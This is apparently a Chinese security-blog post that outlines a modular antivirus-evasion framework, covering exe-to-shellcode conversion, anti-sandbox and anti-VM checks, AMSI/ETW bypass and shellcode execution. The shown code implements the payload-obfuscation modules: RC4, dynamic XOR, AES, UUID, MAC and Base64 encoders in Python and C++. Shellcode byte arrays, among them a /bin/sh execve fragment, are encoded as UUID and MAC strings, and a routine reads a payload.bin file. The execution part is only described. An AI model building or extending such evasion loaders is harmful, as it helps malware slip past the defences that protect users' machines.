1ce%002025-06-09文章来源:SecHub网络安全社区
可以在渗透测试或者攻防演练中,快速针对目标杀软和不同环境进行渗透工具的生成和免杀,让人人都可以用上免杀的工具
自实现或者利用开源工具对exe文件进行处理,exetobin 变成一个shellcode文件
然后利用自己的免杀想法生成loader
每个部分都是一个模块 ,可以组合生成
shellcode加解密 (RC4 XOR AES UUID MAC ....
函数的调用 (proxydll 模块基址...
反沙箱反虚拟机(检测鼠标移动、检测进程数、检测CPU数、检测内存大小、检测微信进程、质数运算真睡眠 ...
内存查杀 (veh 堆加密 堆栈欺骗
QVM(资源 图标 信息 ...
shellcode的执行 (回调 线程 纤程 ...
利用 cmake 进行不同环境的exe生成 x86 x64 os …
便于利用后续工具 比如 bof
利用python 来进行生成
项目维护 可以增加ui 增加免杀方法…
处理 exe -> shellcode
添加模块
python 调用 cmake生成不同平台和环境的
每一个模块功能 比如
加解密
proxydll
模块基址
反沙箱反虚拟机
内存查杀
QVM
ASMI ETW
shellcodeLoader
写成一个文件夹 然后里面添加细化的功能代码
lib写处理库和外部调用的库
把每个功能封装成类 用cpp编写 然后在shellcodeLoader中用到这些模块再调用函数
格式
base写处理的东西
rc4.hpp 写加密类
demo.cpp 测试使用
eg:
算法介绍:
rc4是一种流加密算法,密钥可变,对称加密
加密过程:
密钥 key,明文 plaintext
KSA 密钥调度算法
初始化 S = [0, 1, …, 255] 作为状态向量
获取向量T(如果key输入长度小于256个字节,则进行轮转,直到填满)-> T
使用 key 对 S 进行置换
j = 0; for (i = 0 ; i < 256 ; i++){ j = (j + S[i] + T[i]) mod 256; swap(S[i] , S[j]); }
PRGA 伪随机生成算法
从打乱后的S中生成密钥流K
生成与 plaintext 等长的密钥流 K
Ciphertext = plaintext ⊕ K
def rc4_init(key: bytes):
key_len = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j+S[i]+key[i%key_len])%256
S[i],S[j] = S[j],S[i]
return S
def rc4_encrypt(data: bytes,key: bytes):
S=rc4_init(key)
i=j=0
result = bytearray()
for byte in data:
i = (i+1) % 256
j = (j+S[i]) % 256
S[i],S[j] = S[j],S[i]
K=S[(S[i]+S[j]) % 256]
result.append(byte ^ K)
return bytes(result)
def rc4_test():
key = b'secret_key'
data = b'Hello world RC4!'
encrypt_data = rc4_encrypt(data,key)
print(f'encryptdata : {encrypt_data.hex()}')
decrypt_data = rc4_encrypt(encrypt_data,key)
print(f'decryptdata : {decrypt_data}')
rc4_test()
算法介绍,XOR动态密钥加密
原始的XOR加密
密文 = 明文 ⊕ 密钥
明文 = 密文 ⊕ 密钥比较容易破解,所以我们采取动态密钥的方式
引入变量元素:时间戳,随机数,设备id
- 固定密钥:secret = “secret”
- 动态参数:如当前时间戳 timestamp = “1713341111”
- 最终动态密钥 = SHA256(secret + timestamp),或只截取前 N 字节作为最终密钥
- 明文与该密钥按字节进行 XOR 操作
import hashlib
import time
def generateKey(secret :str, timestamp :str, key_len :int) -> bytes:
key_src = (secret + timestamp).encode();
hash = hashlib.sha256(key_src).digest();
return hash[:key_len]
def xor_encrypt(data :bytes, key :bytes) -> bytes:
results = []
for i in range(len(data)):
results_byte = data[i] ^ key[i]
results.append(results_byte)
return bytes(results)
secret = "secret_key"
plaintext = b"Hello World XOR!"
timestamp = str(int(time.time()))
key = generateKey(secret,timestamp,len(plaintext))
encrypt = xor_encrypt(plaintext,key)
print(key)
print("encryptdata: ",encrypt.hex())
key2 = generateKey(secret,timestamp,len(plaintext))
print(key2)
decrypt = xor_encrypt(encrypt,key2)
print("decryptdata: ",decrypt.decode())
对称加密算法
分组加密 一组128位 16bit
支持三种密钥长度 128 192 256

电码本模式(Electronic Codebook Book (ECB))
密码分组链接模式(Cipher Block Chaining (CBC))
计算器模式(Counter (CTR))
密码反馈模式(Cipher FeedBack (CFB))
输出反馈模式(Output FeedBack (OFB))
分组密码体制:所谓分组密码体制就是指将明文切成一段一段的来加密,然后再把一段一段的密文拼起来形成最终密文的加密方式。AES采用分组密码体制,即AES加密会首先把明文切成一段一段的,而且每段数据的长度要求必须是128位16个字节,如果最后一段不够16个字节了,就需要用Padding来把这段数据填满16个字节,然后分别对每段数据进行加密,最后再把每段加密数据拼起来形成最终的密文。
Padding:Padding就是用来把不满16个字节的分组数据填满16个字节用的,它有三种模式PKCS5、PKCS7和NOPADDING。PKCS5是指分组数据缺少几个字节,就在数据的末尾填充几个字节的几,比如缺少5个字节,就在末尾填充5个字节的5。PKCS7是指分组数据缺少几个字节,就在数据的末尾填充几个字节的0,比如缺少7个字节,就在末尾填充7个字节的0。NoPadding是指不需要填充,也就是说数据的发送方肯定会保证最后一段数据也正好是16个字节。那如果在PKCS5模式下,最后一段数据的内容刚好就是16个16怎么办?那解密端就不知道这一段数据到底是有效数据还是填充数据了,因此对于这种情况,PKCS5模式会自动帮我们在最后一段数据后再添加16个字节的数据,而且填充数据也是16个16,这样解密段就能知道谁是有效数据谁是填充数据了。PKCS7最后一段数据的内容是16个0,也是同样的道理。解密端需要使用和加密端同样的Padding模式,才能准确的识别有效数据和填充数据。我们开发通常采用PKCS7 Padding模式。
初始向量IV:初始向量IV的作用是使加密更加安全可靠,我们使用AES加密时需要主动提供初始向量,而且只需要提供一个初始向量就够了,后面每段数据的加密向量都是前面一段的密文。初始向量IV的长度规定为128位16个字节,初始向量的来源为随机生成。至于为什么初始向量能使加密更安全可靠。
密钥:AES要求密钥的长度可以是128位16个字节、192位或者256位,位数越高,加密强度自然越大,但是加密的效率自然会低一些,因此要做好衡量。我们开发通常采用128位16个字节的密钥,我们使用AES加密时需要主动提供密钥,而且只需要提供一个密钥就够了,每段数据加密使用的都是这一个密钥,密钥来源为随机生成。
四种加密模式:AES一共有四种加密模式,分别是ECB(电子密码本模式)、CBC(密码分组链接模式)、CFB、OFB,我们一般使用的是ECB和CBC模式。四种模式中除了ECB相对不安全之外,其它三种模式的区别并没有那么大
字节替代、行移位、列混淆和轮密钥加
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from Crypto.Random import get_random_bytes
key = b'SecertKeyABCDEFG'
iv = get_random_bytes(16)
data = b"Hello World AES!"
encrypt = AES.new(key,AES.MODE_CBC,iv)
encryptHex = encrypt.encrypt(pad(data,AES.block_size))
decrypt = AES.new(key,AES.MODE_CBC,iv)
plainText = unpad(decrypt.decrypt(encryptHex),AES.block_size)
print("encryptHex: ",encryptHex.hex())
print("decryptStr: ",plainText.decode())
uuid编码
import uuid
def uuid_encode(data: bytes) -> list:
count = 16 - len(data) % 16
if len(data) % 16 !=0:
data += bytes([count]) * (16 - len(data) % 16)
uuids =[]
for i in range(0,len(data), 16):
block = data[i:i+16]
u = uuid.UUID(bytes=block)
uuids.append(str(u))
return uuids
def uuid_decode(uuids: list) -> bytes:
tmp = b''.join([uuid.UUID(u).bytes for u in uuids])
return tmp[:-(int(tmp[-1]))]
buf=b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
uuids = uuid_encode(buf)
for u in uuids:
print(str(u))
recover = uuid_decode(uuids)
print(recover.hex())
import base64
def Base64_encode(data: bytes) -> bytes:
return base64.b64encode(data)
def Base64_decode(data: bytes) -> bytes:
return base64.b64decode(data)
plainText = b"Hello World Base64!"
encoded = Base64_encode(plainText)
decoded = Base64_decode(encoded)
print(encoded)
print(encoded.decode())
print(decoded)
print(decoded.decode())
因为是对称加密,再次调用加密函数就行
#include "base.hpp"
class rc4
{
private:
/* data */
int S[256];
int Ken_len;
void KSA(const bytes& key)
{
for (size_t i = 0; i < 256; i++)
{
/* code */
S[i] = i;
}
int j = 0;
for (size_t i = 0; i < 256; i++)
{
/* code */
j = (j + S[i] + key[i % key.size()]) % 256; //key[i % key.size()] T()
std::swap(S[i],S[j]);
}
}
public:
rc4()
{
}
bytes decrypt(const bytes& data,const bytes& key)
{
Ken_len = key.size();
KSA(key);
bytes output;
output.reserve(data.size());
int i = 0, j = 0;
for (size_t n = 0; n < data.size(); ++n) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
int K = S[(S[i] + S[j]) % 256];
output.push_back(data[n] ^ K);
}
return output;
}
};
#include "base.hpp"
#include <openssl/sha.h>
class XOR
{
private:
size_t key_len;
bytes sha256(const std::string& input)
{
bytes hash(SHA256_DIGEST_LENGTH);
SHA256((const unsigned char*)input.data(),input.size(),hash.data());
return hash;
}
bytes generate_key(const std::string& secret, const std::string& timestamp, size_t data_len)
{
bytes hash = sha256(secret + timestamp);
bytes key(data_len);
for (size_t i = 0; i < data_len; i++)
{
/* code */
// 获取与data等长的hash
key[i] = hash[i % hash.size()];
}
return key;
}
public:
XOR()
{
};
bytes xor_encrypt(const bytes& data, const std::string& secret)
{
bytes key = generate_key(secret,std::to_string(std::time(nullptr)),data.size());
bytes results(data.size());
for (size_t i = 0; i < data.size(); i++)
{
/* code */
results[i] = data[i] ^ key[i];
}
return results;
}
};
void xor_demo()
{
std::string Plaintext = "Hello World XOR!";
bytes plaintext(Plaintext.begin(),Plaintext.end());
std::string secret = "secret_key";
XOR xor1;
bytes encrypt = xor1.xor_encrypt(plaintext,secret);
PrintEn(encrypt);
bytes decrypt = xor1.xor_encrypt(encrypt,secret);
std::string decryptStr(decrypt.begin(),decrypt.end());
PrintDe(decryptStr);
}
#include "base.hpp"
#include "openssl/aes.h"
#include "openssl/rand.h"
class AES
{
public:
AES() {}
bytes aes_encrypt(const bytes& secret, const bytes& plainText, unsigned char* iv)
{
AES_KEY en_key;
AES_set_encrypt_key(secret.data(), 128, &en_key);
int len = plainText.size();
int padding_len = AES_BLOCK_SIZE - (len % AES_BLOCK_SIZE);
int total_len = len + padding_len;
bytes padded = plainText;
padded.insert(padded.end(), padding_len, static_cast<unsigned char>(padding_len));
bytes ciphertext(total_len);
AES_cbc_encrypt(padded.data(), ciphertext.data(), total_len, &en_key, iv, AES_ENCRYPT);
return ciphertext;
}
bytes aes_decrypt(const bytes& secret, const bytes& ciphertext, unsigned char* iv)
{
AES_KEY de_key;
AES_set_decrypt_key(secret.data(), 128, &de_key);
int len = ciphertext.size();
bytes decrypted(len);
AES_cbc_encrypt(ciphertext.data(), decrypted.data(), len, &de_key, iv, AES_DECRYPT);
// 去除 PKCS#7 填充
if (!decrypted.empty()) {
int pad_len = decrypted.back();
if (pad_len > 0 && pad_len <= AES_BLOCK_SIZE) {
decrypted.resize(decrypted.size() - pad_len);
}
}
return decrypted;
}
};
void aes_demo()
{
std::string secret = "ThisIsASecretKey";
std::string plainText = "Hello World AES!";
unsigned char iv[AES_BLOCK_SIZE];
RAND_bytes(iv, AES_BLOCK_SIZE);
unsigned char iv_copy[AES_BLOCK_SIZE];
memcpy(iv_copy, iv, AES_BLOCK_SIZE);
AES aes;
bytes encrypt = aes.aes_encrypt(StringtoBytes(secret),StringtoBytes(plainText),iv);
PrintEn(encrypt);
bytes decrypt = aes.aes_decrypt(StringtoBytes(secret), encrypt,iv_copy);
PrintDe(decrypt);
}
#include "base.hpp"
#include<sstream>
#include<string>
#include<iomanip>
#include<algorithm>
class UUID
{
private:
size_t count;
size_t padding_len;
std::string generateUUID(bytes& data)
{
std::ostringstream oss;
for (size_t i = 0; i < 16; i++)
{
if (i == 4 || i == 6 || i == 8 || i == 10)
{
oss << "-";
}
oss << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
}
return oss.str();
}
public:
stringArray uuid_encrypt(bytes& data)
{
stringArray array;
padding_len = 16 - (data.size() % 16);
for (size_t i = 0; i < padding_len; i++)
data.push_back(static_cast<unsigned char>(padding_len));
count = data.size() / 16 ;
for (size_t i = 0; i < count; ++i)
{
bytes block(data.begin() + i * 16, data.begin() + (i + 1) * 16);
array.push_back(generateUUID(block));
}
return array;
}
bytes uuid_decrypt(stringArray uuids)
{
bytes results;
for (const std::string& uuidStr : uuids)
{
std::string hexStr = uuidStr;
hexStr.erase(std::remove(hexStr.begin(), hexStr.end(), '-'), hexStr.end());
for (size_t i = 0; i < hexStr.size(); i += 2)
{
std::string byteStr = hexStr.substr(i, 2);
results.push_back(static_cast<unsigned char>(std::stoi(byteStr, nullptr, 16)));
}
}
if (results.size() >= padding_len)
results.resize(results.size() - padding_len);
else
results.clear();
return results;
}
};
void uuid_demo()
{
bytes shellcode;
unsigned char shellcodes[] = {
0x31, 0xc0, // xor %eax, %eax
0x50, // push %eax
0x68, 0x2f, 0x62, 0x69, 0x6e, // push 0x6e69622f
0x68, 0x2f, 0x73, 0x68, 0x00, // push 0x68732f2f
0x89, 0xe3, // mov %esp, %ebx
0x50, // push %eax
0x53, // push %ebx
0x89, 0xe1, // mov %esp, %ecx
0x99, // cltd
0x52, // push %edx
0x53, // push %ebx
0x89, 0xe1, // mov %esp, %ecx
0x52, // push %edx
0x53, // push %ebx
0x89, 0xe1, // mov %esp, %ecx
0x52, // push %edx
0x53, // push %ebx
0x31, 0xc0, // xor %eax, %eax
0x50, // push %eax
0x66, 0x68, 0x63, 0x6d, // push 0x6d63
0x66, 0x89, 0xe1, 0x52, //mov %ecx, %ax
};
for (size_t i = 0; i < sizeof(shellcodes); i++)
{
/* code */
shellcode.push_back(shellcodes[i]);
}
UUID uuid;
stringArray shellcodeArray = uuid.uuid_encrypt(shellcode);
PrintStringArray("UUID_encrypt :",shellcodeArray);
PrintEn(uuid.uuid_decrypt(shellcodeArray));
}
#include "../lib/encrypt.hpp"
#include <windows.h>
void rc4_demo()
{
std::string KeyStr = "secret_key";
std::string Plaintext = "Hello world RC4!";
bytes key = StringtoBytes(KeyStr);
bytes plaintext = StringtoBytes(Plaintext);
RC4 rc4;
bytes cryptHex = rc4.decrypt(plaintext,key);
PrintEn(cryptHex);
bytes decrypt=rc4.decrypt(cryptHex,key);
PrintDe(decrypt);
}
void xor_demo()
{
std::string Plaintext = "Hello World XOR!";
bytes plaintext = StringtoBytes(Plaintext);
std::string secret = "secret_key";
XOR xor1;
bytes encrypt = xor1.xor_encrypt(plaintext,secret);
PrintEn(encrypt);
bytes decrypt = xor1.xor_encrypt(encrypt,secret);
PrintDe(decrypt);
}
void aes_demo()
{
std::string secret = "ThisIsASecretKey";
std::string plainText = "Hello World AES!";
unsigned char iv[AES_BLOCK_SIZE];
RAND_bytes(iv, AES_BLOCK_SIZE);
unsigned char iv_copy[AES_BLOCK_SIZE];
memcpy(iv_copy, iv, AES_BLOCK_SIZE);
AES aes;
bytes encrypt = aes.aes_encrypt(StringtoBytes(secret),StringtoBytes(plainText),iv);
PrintEn(encrypt);
bytes decrypt = aes.aes_decrypt(StringtoBytes(secret), encrypt,iv_copy);
PrintDe(decrypt);
}
void uuid_demo()
{
bytes shellcode;
unsigned char shellcodes[] = {
0x31, 0xc0, // xor %eax, %eax
0x50, // push %eax
0x68, 0x2f, 0x62, 0x69, 0x6e, // push 0x6e69622f
0x68, 0x2f, 0x73, 0x68, 0x00, // push 0x68732f2f
0x89, 0xe3, // mov %esp, %ebx
0x50, // push %eax
0x53, // push %ebx
0x89, 0xe1, // mov %esp, %ecx
0x99, // cltd
0x52, // push %edx
0x53, // push %ebx
0x89, 0xe1, // mov %esp, %ecx
0x52, // push %edx
0x53, // push %ebx
0x89, 0xe1, // mov %esp, %ecx
0x52, // push %edx
0x53, // push %ebx
0x31, 0xc0, // xor %eax, %eax
0x50, // push %eax
0x66, 0x68, 0x63, 0x6d, // push 0x6d63
0x66, 0x89, 0xe1, 0x52, //mov %ecx, %ax
};
for (size_t i = 0; i < sizeof(shellcodes); i++)
{
/* code */
shellcode.push_back(shellcodes[i]);
}
UuID uuid;
stringArray shellcodeArray = uuid.uuid_encrypt(shellcode);
PrintStringArray("UUID_encrypt :",shellcodeArray);
PrintEn(uuid.uuid_decrypt(shellcodeArray));
}
void base64_demo()
{
Base64 base64;
std::string plainText = "Hello World Base64!";
bytes encoded = StringtoBytes(plainText);
bytes encodedCode = base64.base64_encode(encoded);
std::cout << "Encoded Base64:" << std::endl;
PrintDe(encodedCode);
PrintDe(base64.base64_decode(BytestoString(encodedCode)));
}
void mac_demo()
{
bytes shellcode = {0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f,
0x73, 0x68, 0x89, 0xe3, 0x50, 0x53,
0x89, 0xe1, 0x99, 0xb0, 0x0b, 0xcd,
0x80};
MAC mac;
std::cout << "Encoded MACs:" << std::endl;
stringArray macs = mac.shellcode_to_mac(shellcode);
for (const auto& m : macs) {
std::cout << m << std::endl;
}
bytes recovered = mac.mac_to_shellcode(macs);
PrintEn(recovered);
}
void shellcode_demo(const char* fileName)
{
HANDLE hFile = CreateFile(fileName, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open file." << std::endl;
return;
}
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE) {
std::cerr << "Failed to get file size." << std::endl;
CloseHandle(hFile);
return;
}
bytes shellcode(fileSize);
DWORD bytesRead;
if (!ReadFile(hFile, shellcode.data(), fileSize, &bytesRead, NULL)) {
std::cerr << "Failed to read file." << std::endl;
CloseHandle(hFile);
return;
}
CloseHandle(hFile);
std::cout << "Shellcode read from file:" << std::endl;
PrintHex(shellcode);
Base64 base64;
auto tmp = base64.base64_encode(shellcode);
PrintHex(base64.base64_decode(BytestoString(tmp)));
}
int main()
{
// rc4_demo();
// xor_demo();
// aes_demo();
// uuid_demo();
// base64_demo();
// mac_demo();
shellcode_demo("payload.bin");
return 0;
}
编译运行